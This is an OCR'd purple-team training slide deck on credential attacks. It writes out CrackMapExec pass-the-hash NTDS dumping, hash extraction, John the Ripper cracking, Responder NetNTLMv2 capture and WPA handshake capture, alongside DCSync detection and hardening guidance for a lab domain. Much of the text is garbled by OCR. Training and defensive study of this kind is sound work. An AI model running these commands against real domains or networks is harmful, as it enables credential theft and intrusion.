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Applied Purple Teaming — LC1160 Password Cracking

Related Applied Purple Teaming Lab: L1160
Related Atomic Purple Team Report: PB1160

MITRE:

TA00O03 — Lateral Movement

T1003 - Credential dumping / .003 NTDS

T1550 — Use Alternate Authentication /.002 Pass The Hash
T1110 — Brute Force /.002 Password Cracking




Lifecycle Ingest & Goal Setting

The Ingest: Known Threat & Commonly Executed Tools
The specific attack/component?
Password Cracking
The goal of the lifecycle: Risk/Threat
Crack passwords Assbrunsny

Threat
Intelligence
Feeds
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Atomic Purple Team Phase: Ingest/Analysis



Planning — Methodology

Perform a pass-the-hash attack on the domain and
review some other commonly attacked hashes.

Crack the domain’s various password hashes:
- NTLM

- NetNTLMv2

- Kerberos

- WPA

defensiveorigins.com
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Planning
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Logging /
Visibility

Firewalls /

Network
Endpoing

Protection
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Misconfiguration | Insecure Policies

Vulnerabilities

Social
Engineering

Atomic Purple Team Phase: Planning




Planning - NTDS Enumeration, Exfil, Password Crack

Linux Tools Windows Defense Tools

Responder Wireshark

Impacket WEC / WEF / Subscriptions
- NTLMRelay Group Policy

+ SecretsDump PowerShell (limit NBNS)
CrackMapExec

« NTDS extraction Network Defenses

John the Ripper Boundary IDS / IPS

» Password cracking
Eaphammer
Airodump-ng
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Planning

Defense Tools

Attack Tools

Logging /
Visibility

Firewalls /

Network
Endpoing

Protection

Vulnerabilities

Misconfiguration | Insecure Policies

Social
Engineering

Atomic Purple Team Phase: Planning




Logging /
Visibility

Planning — Methodology

Firewalls /

Defense Tools Mot

- Connect to environment Linux system

- Utilize CrackMapExec and Stolen Hashes

- Connect to Domain Controller over DRSUAPI
- Dump Domain Hash Tables (Exfil / Theft)

- Retrieve Passwords from Hashes (Crack)

- Investigate a Network Packet Capture with Wireshark

Endpoing

Planning

L

e Malware
Vulnerabilities Packages

Misconfiguration | Insecure Policies

Social

Engineering
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Atomic Purple Team Phase: Planning




Attack Methodology

Crack the domain NTDS file.

Review dcsync network traffic with Wireshark.

Crack a NetNTLMv2 hash.
Crack a couple pre-shared wifi key hashes.
Crack a wireless user's NetNTLM hash.
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Attack Tools

Q
Infrastructure

Collaboration

Atomic Red Team
Metasploit
PowerEmpire
More and more...

Cobalt Strike
Silent Trinity

Metasploit

Attack Team and
Defense Team can
work together on

attack

Atomic Purple Team Phase: Attack

MITRE:
TAO0003 - Lateral Movement




Attack Methodology

NTDS / NTLM Hashes

Use CrackMapExec to connect to test retrieved hashes with a pass-the-hash

cd /opt/CrackMapExec
python3.8 cme smb 10.10.98.10 -u itadmin -H
e69b30df68c450aad94e3889274721f1 --ntds > domain-NTDS

Pass the Hash is dead! Long live Pass the Hash!

10.10.
10.10

10.10.
10.10.

10.10.

10.10.
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Atomic Purple Team Phase: Attack

Commands:
cd /opt/CrackMapExec
python3.8 cme smb 10.10.98.10 -u itadmin -H
b81fc6f13bee9a3bf900955cb0384900 --ntds > domain-NTDS

MITRE:

TAOOO03 — Lateral Movement

T1003 - Credential dumping / .003 NTDS

T1550 — Use Alternate Authentication / .002 Pass The Hash

Links:
https://www.harmjOy.net/blog/redteaming/pass-the-hash-is-dead-long-live-
localaccounttokenfilterpolicy/




Attack Methodology

NTDS / NTLM Hashes

Clean up the retrieved hashes

cat domain-NTDS | grep aad3b4 | grep -Fv '+' | grep -Fv '$' |
tr -s " " | cut -d" " -f5 > cme-domain-Hashes
head cme-domain-Hashes

_A—
P

(o]

Atomic Red Team
Metasploit
PowerEmpire
More and more...

Cobalt Strike
silent Trinity
Metasploit

(CrackMapExec)

Attack Team and
Defense Team can
work together on
attack

rootéhelk-v3: fopt/CrackMapExec# head cme-domain-Hashes

445
445
445
445
445
445

Dcol
DCOo1
DCol
DCol
DCO1
DCol

Administrator:500:aad3b4d35b51404deeaad3bd35b51404dee:b81fc6f
Guest:501:aad3b435b51404ecaad3b435b51404ee:31décfeldloaec93
krbtgt:502:aad3b435b51404deeaad3b435b51404ee: cd3bb3a5a21besd
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfq
lab.defensiveorigins.com\itadmin:1103:aad3b435h51404eeaad3y
lab.defensiveorigins.com\Luis.Graves:1104:aad3b435b51404ee3
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Atomic Purple Team Phase: Attack

Commands:

cat domain-NTDS | grep aad3b4 | grep -Fv '+' | grep -Fv '$' | tr -s

cut -d" " -f5 > cme-domain-Hashes
head cme-domain-Hashes

MITRE:
T1110 — Brute Force

Links:
https://www.harmjOy.net/blog/redteaming/pass-the-hash-is-dead-long-live-
localaccounttokenfilterpolicy/
https://github.com/byt3bl33d3r/CrackMapExec
https://attack.mitre.org/techniques/T1110/002/




Attack Methodology e

NTDS / NTLM Hashes ,:, More and more..

Use the password cracking tool John the Ripper to crack passwords from the NTLM mfﬂﬁ
hashes. m
cd /opt/JohnTheRipper e
./john --wordlist=/opt/wordlist.txt --format=NT -- i Defense Team can
ol ‘work together on
ebcatior attack

pot=/opt/john.pot /opt/CrackMapExec/cme-domain-Hashes

root@localhost: /fopt/JohnTheRipper/run# ./john --wordlist=/opt/wordlist.txt
--format=NT --pot=/copt/jchn.pot /opt/CrackMapExec/cme-domain-Hashes

Using default input encoding: UTF-8

Loaded 648 password hashes with no different salts (NT [MD4 128/128 AVX 4x3
1)

no OpenMP support for this hash type, consider --fork=2
'q' or Ctrl-C to abort, almost any other key for status
{labs.local \JENNIFER HEATH)

(labs.local\FRANCIS_ MOON)
(labs.local\VIOLET STEELE)
Kj7Gt65Fa2! {labs.local\DENISE MORROW)
v159a2! (labs.local\BARBRA LE)
(labs.local\235465744SA)
(labs.local\538821813SA)
{labs.local\KATHERINE_ZIMMERMAN)
(labs.local\MINDY LE)

.\:[,

o)
(=)
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Atomic Purple Team Phase: Attack

Commands:
cd /opt/john-1.9.0-jumbo-1/run
./john /opt/CrackMapExec/NTLM-Hashes --mask=Badpass?d?d?d?d?d --format=NT
--pot=cracked.pot

MITRE:
T1110 — Brute Force /.002 Password Cracking

Links:
https://www.openwall.com/john/
https://attack.mitre.org/techniques/T1110/002/




Attack Methodology e

NetNTLMv2

Maore and more...

Mttack Tools

Capture NetNTLMv2 challenge response hashes with Responder. =

python3 Responder.py -I ethe E et
3 ; B Attack Team and

| Defense Team can
. m:u«:mm

./john --wordlist=/opt/wordlist.txt --pot=/opt/john.pot /opt/JohnTheRipper/apt/ntlmv2-hash.txt

per/run# ./john --wo: /opt/wordlist. txt pot=/opt/john.pot ../apt/nt|
g: UTF-8
hes with 4 different salts (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])

, almost any other key for status

0 DONE (2021-02-01 2 ) 14. p Te/s 29257¢/s 3 0728a2!. . 6bdd4wwss54a2!
ds printed above > cked
--format=netntlmv2" options to d a of the cracked passwords reliably
ted.

A
gl 5751
L
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Atomic Purple Team Phase: Attack

Commands:
cd /opt/john-1.9.0-jumbo-1/run
./john /opt/CrackMapExec/NTLM-Hashes --mask=Badpass?d?d?d?d?d --format=NT
--pot=cracked.pot

MITRE:
T1110 — Brute Force /.002 Password Cracking

Links:
https://www.openwall.com/john/
https://attack.mitre.org/techniques/T1110/002/
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Attack Methodology P

PowerEmpire
WPA/ WPA2 Handshakes P e
Attack Tools
Grab handshakes from your pre-shared key (PSK) networks. e
airodump-ng wlanlmon --essid APTDemoWPA -c 6 -w TKIP-handshake - %iﬂﬁ
airodump-ng wlanlmon --essid APTDemoWPA2 -c 6 -w AES-handshake Sfneecnre

-w AES-handshake P Attack Team and

. 1 | Deferse Team can
work together

Collaboration 4 i

Extract the crackable material with John Jumbo's wpacap2john.

./wpapcap2john /opt/JohnTheRipper/apt/TKIP-handshake-01.cap > /opt/JohnTheRipper/apt/tkip-extract.txt
./wpapcap2john /opt/JohnTheRipper/apt/AES-handshake-01.cap > /opt/JohnTheRipper/apt/aes-extract.txt

{IP-handshake-0l.cap >

6F:D3:A6:08 ESSID 'APTDemoWPA' STA 4C:66:41:88:

A

1
gl 751
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Atomic Purple Team Phase: Attack

Commands:
cd /opt/john-1.9.0-jumbo-1/run
./john /opt/CrackMapExec/NTLM-Hashes --mask=Badpass?d?d?d?d?d --format=NT
--pot=cracked.pot

MITRE:
T1110 — Brute Force /.002 Password Cracking

Links:
https://www.openwall.com/john/
https://attack.mitre.org/techniques/T1110/002/
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Attack Methodology e

WPA/ WPA2 Handshakes /:l Mare and more...
Attack Tools

Crack the wireless key material.

: :
y g Silent Trinity
Metasploit
./john --wordlist=/opt/wordlist.txt --pot=/opt/wifi.pot |+—
./

/opt/JohnTheRipper/apt/tkip-extract.txt
./john --wordlist=/opt/wordlist.txt --pot=/opt/wifi.pot
/opt/JohnTheRipper/apt/tkip-extract.txt

Aal

il 777 [
e =D

Attack Team and

root@localhost: /fopt/JohnTheRipper/run$ ./john --wordlist=/opt/wordlist.txt --pot=/opt/wifi.pot
.. fapt/aes-extract. txt
Warning: detected hash type "wpapsk", but the string is also recognized as "wpapsk-pmk”
Use the "--format=wpapsk-p i tion to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (wpapsk, WPA/WPA2/PMF/PMKID PSK [PBKDF2-SHAl 128/128 AVX 4x])
Will run 2 OpenMP threads
: Minimum length forced to 8 by format

Session completed.
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Atomic Purple Team Phase: Attack

Commands:
cd /opt/john-1.9.0-jumbo-1/run
./john /opt/CrackMapExec/NTLM-Hashes --mask=Badpass?d?d?d?d?d --format=NT

MITRE:

--pot=cracked.pot

T1110 — Brute Force /.002 Password Cracking

Links:

https://www.openwall.com/john/
https://attack.mitre.org/techniques/T1110/002/
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Hunt and Defend Methodology

How will hunting/defending work?

» In this instance, Wireshark, IDS/IPS, packets

» Review the locally stored packet capture, it contains the entire sync

» As seen below, the NTDS.dit file was synced using DRSUAPI

* Domain controller is at 10.10.98.10 and the attacker is at 10.10.98.20

Poliey Firewall EndProveation

Hunt & Defend

B2

Activity and Network Probes

((@))

W [ drsuapi

Mo, Tine: Source Destination Proktocal Length Info

defensiveorigins.com
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Atomic Purple Team Phase: Hunt and Defend
MITRE:

T1110 — Brute Force /.002 Password Cracking
T1003 - Credential dumping / .003 NTDS

Links:

https://docs.microsoft.com/en-us/windows/win32/api/ntdsapi/nf-ntdsapi-dscracknamesa

13



Hunt and Defend Methodology

Thousand-foot view of Wireshark.

Mo, Time Source Destination Protocal
Firewall End Protection

3322 38.771943 16.16.98.28 16.16.98.1@ DRSUAPT
3371 39.028382 10.19.98.28 16.16.98.18 DRSUAPI - -
3378 39.042419  16.16.98.18 16.16.98.28 DRSUAPI .-.- .-.-
3381 39.056843 16.10.98.28 16.16.98.18 DRSUAPI . ]
3488 39.169432 16.16.98.28 16.16.98.1@ DRSUAPT ' N . |
) el e e i N T
Frame 3412: 485 bytes on wire {3248 bits), 486 bytes captured {3248 bits) on interfs Hunt & Defend

> |Ethernet II, Src: ¥Muare 06:06:8b (©0:0c:29:00:96:8b), Dst: YMware Ge:7@:a2 (60:0c:2
Internet Protecol ¥Yersion 4, Src: 18.16.98.28, Dst: 18.19.98.1@

Transmission Control Protocol, Src Port: 38306, Dst Port: 49667, Seq: 24731, Ack: 21
> |Distributed Computing Environment / Remote Procedure Call (DCEFRPC) Request, Fragme
DRSUAPI, DsGetNCChanges

Activity and Network Probes

Selection above contains OSI model specific digest of a packet

+ 802.3 Ethernet Frame 3412 Actionable
+ Layer 2 MAC addresses (source/destination)

+ Layer 3 IP addresses (source/destination)

» Layer 4 TCP ports in this case (source/destination)
« Layer 5 Session information manages sequencing (personal experience ended at L4)
* Layer 6 Presentation layer processes message data

Collaboration Alerts

A

)
=

defensiveorigins.com
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Atomic Purple Team Phase: Hunt and Defend

MITRE:
T1110 — Brute Force /.002 Password Cracking
T1003 - Credential dumping / .003 NTDS

Links:
https://docs.microsoft.com/en-us/windows/win32/api/ntdsapi/nf-ntdsapi-dscracknamesa
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Hunt and Defend Methodology

What is DRSUAPI? DCERPC? DsCrackNames? DSGetNCChanges?
+ Directory Replication Service over win32 net APIs

+ Distributed Computing Environment / Remote Procedure Calls

» DsCrackNames — Object Array Conversion tool

Hunt & Defend

((@))
These functions are packed in the CrackMapExec toolkit

* And allow it to operate similar to a client domain controller LAY
» Request synchronization (provided appropriate credentials are available) Collaboration

N

T G
¢ D

defensiveorigins.com
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Firewall End Protection

B

Activity and Network Probes

Actionable
Alerts

Atomic Purple Team Phase: Hunt and Defend
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Adjust / Harden v

Log

Poli o
¥ Management

Log Search

Are adjustments needed to reach LC Goal?

Modernized detection mechanisms are prudent

Limit access to sync services on domain controllers to known and trusted hosts
IDS / IPS rules should be implemented to monitor network boundary traffic
Limit access to credential attacks using methods discovered in earlier labs
Limit user logons from the network (GPO)

Document adjustments and attempt attack/defense again.

defensiveorigins.com
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Planning

Atomic Purple Team Phase: Adjust and Harden

16



Report Findings and Prepare for Production

*  Prepare a report (playbook).
*  Prepare for Change Management Controls for changes to be deployed in production.

T G
¢ D

Information Security Management

3 Risk Management
defensiveorigins.com
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Production
Information

Security
Environment

Report

Atomic Purple Team Phase: Reporting
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Overall Change Management Deploy ideniiied query o production SIEW stack, add clerfing where necsssary.

Purple Team Lifecycle Status: Completed o S

Rolloack: Removs log query and aletflom SIEM.

PB1160 - Pss The Hesh T1075

Lessons Learned CHE Ublizes PassThetosh fechniaues and the authenfieation logs generated represent he
User_reporled_sid: 5-100

Lifecycle Project Manager Uecycle Kickeft: 2/1/2020
Konflokior Simulctionsfrt: 2/5/2020
. Simulcfion Ends: 2/10/2020
jouls o opecl Gonfiguation denffiect 2/7/2020
Email: kent@dlefersiveorigins.com Ghonge Management Refened 2/18/2020
Gonfiguraton Deployed: 317112020

Status CodeLogond

Hack Smuition Sptem Configuration Change
®  DefenseSimuiaton nformaten
AP Ufecycle Ltecycle Type: Atack Simulation Ingest Source: Afomic Purple Teamring L1160
Ingest and Research. ifscycle Objsctves Alett WATRE: TI07S - Pest The hosh,

hitpssfatiack, ftechni

Launch GHE ta replay previously identfisd adminiskative hes 1o the damain confroller o caplure
NIDS dirsclory ssrvic cradenfial dolabass. Uss John o crack h paswwords, Hun for he pass
the-hosh event.

Aftack methodology ® Use G fo pas the hash fo.a previous caplured account fo the domin confroler.
Crackmapexec snb oL 1ah.defensiveorigins.com -u itadnin T
-atds > domain-

e
o Frapar le o pssword racking

R R e
el

head NTLK-Hashes !

o ok pormorts

Jjohn o
Defence mehodology ®  Hunt: Hunt for event.id 42¢. Ideniit the speciic iiggsred even's and begin fo further dlldown
ogs.

®  Dafenss againsl pessword cracking involuss imifing Ihe use of nsscurs psswords and insscure
password hashing algorihrrs. These are coverad in ofhar IFecycles
MITRE: 11027 bifos:fallack. rili.crg/iigotion

Ufscycla Adsiments ® Hunlinginvelved muliple query sieps. Hunling for 4624 was insufficient on 1 own.

user_reporte_sid: 5-1-0-0
Sogon_process_nene: ntimssp

ety now produces a ver reliable indication that an occount auhenficated via NTLMSSP as
NULLINOBODY. Toggling the user_nams and winlog.computer_noms fields os columes producss
shong indicatian of potential abuse ar comprorrise.

Report Findings and Prepare for Production

ATOWIG PURPLE TEAMING. ATONIC PURPLE TEAMING
FENSIVE ORIGINS LLC ©2020 DEFENSIVE ORIGINS LLC
PBIIG0 Pellgo2
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Atomic Purple Team Phase: Reporting




Lessons Learned

New Techniques Learned?

*  NTDS hash theft

* A grain of Linux command-fu
«  Password cracking with John
Gained Experience?

+ More of the same pass-the-hash usage introduced in L1150
» Password cracking with John the Ripper

» Hunting for pass-the-hash can be a challenge

« High level packet capture review of NTDS hash theft

Has the organization’s security posture been improved?

Aad
[

! :
¢ D
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Harden / Adjust

Risk Assessment

Atomic Purple
Team Lifecyle

‘-

Planning

/

Atomic Purple Team Phase: Lessons Learned
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Password Cracking Summary

Attack Methodology

Toolkit Locations

https://www.aircrack-ng.org/
https://www.openwall.com/john/
https://hashcat.net/hashcat/
https://github.com/Igandx/Responder
https://github.com/byt3bl33d3r/CrackMapExec/wiki/SMB-
Command-Reference

https://www.openwall.com/john/
https://hashcat.net/hashcat/

N
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Detect Methodology

DS-Get-Replication-Changes

DCSync: 4662 (operation performed on object)
Non-DC's should not be "DCSyncing"

Computers that are not DCs should not be "DCSyncing"

MITRE ATT&CK Maps
https://attack.mitre.org/techniques/T1110/002/
https://attack.mitre.org/techniques/T1003/006/

Defense Methodology
https://blog.didierstevens.com/2017/10/08/quickpost-mimikatz-dcsync-
detection/

SIGMA:
https://github.com/Neo23x0/sigma/blob/master/rules/windows/builtin/win_d

csync.yml

Atomic Purple Team Phase: Lessons Learned

Applied Purple Team Lab: L1160

Related Atomic Purple Team Report: PB1160

MITRE:
TA00O03 — Lateral Movement
T1003 - Credential dumping / .003 NTDS

T1550 — Use Alternate Authentication /.002 Pass The Hash
T1110 — Brute Force /.002 Password Cracking

Event IDs:
4662 — An Operation was Performed on an Object
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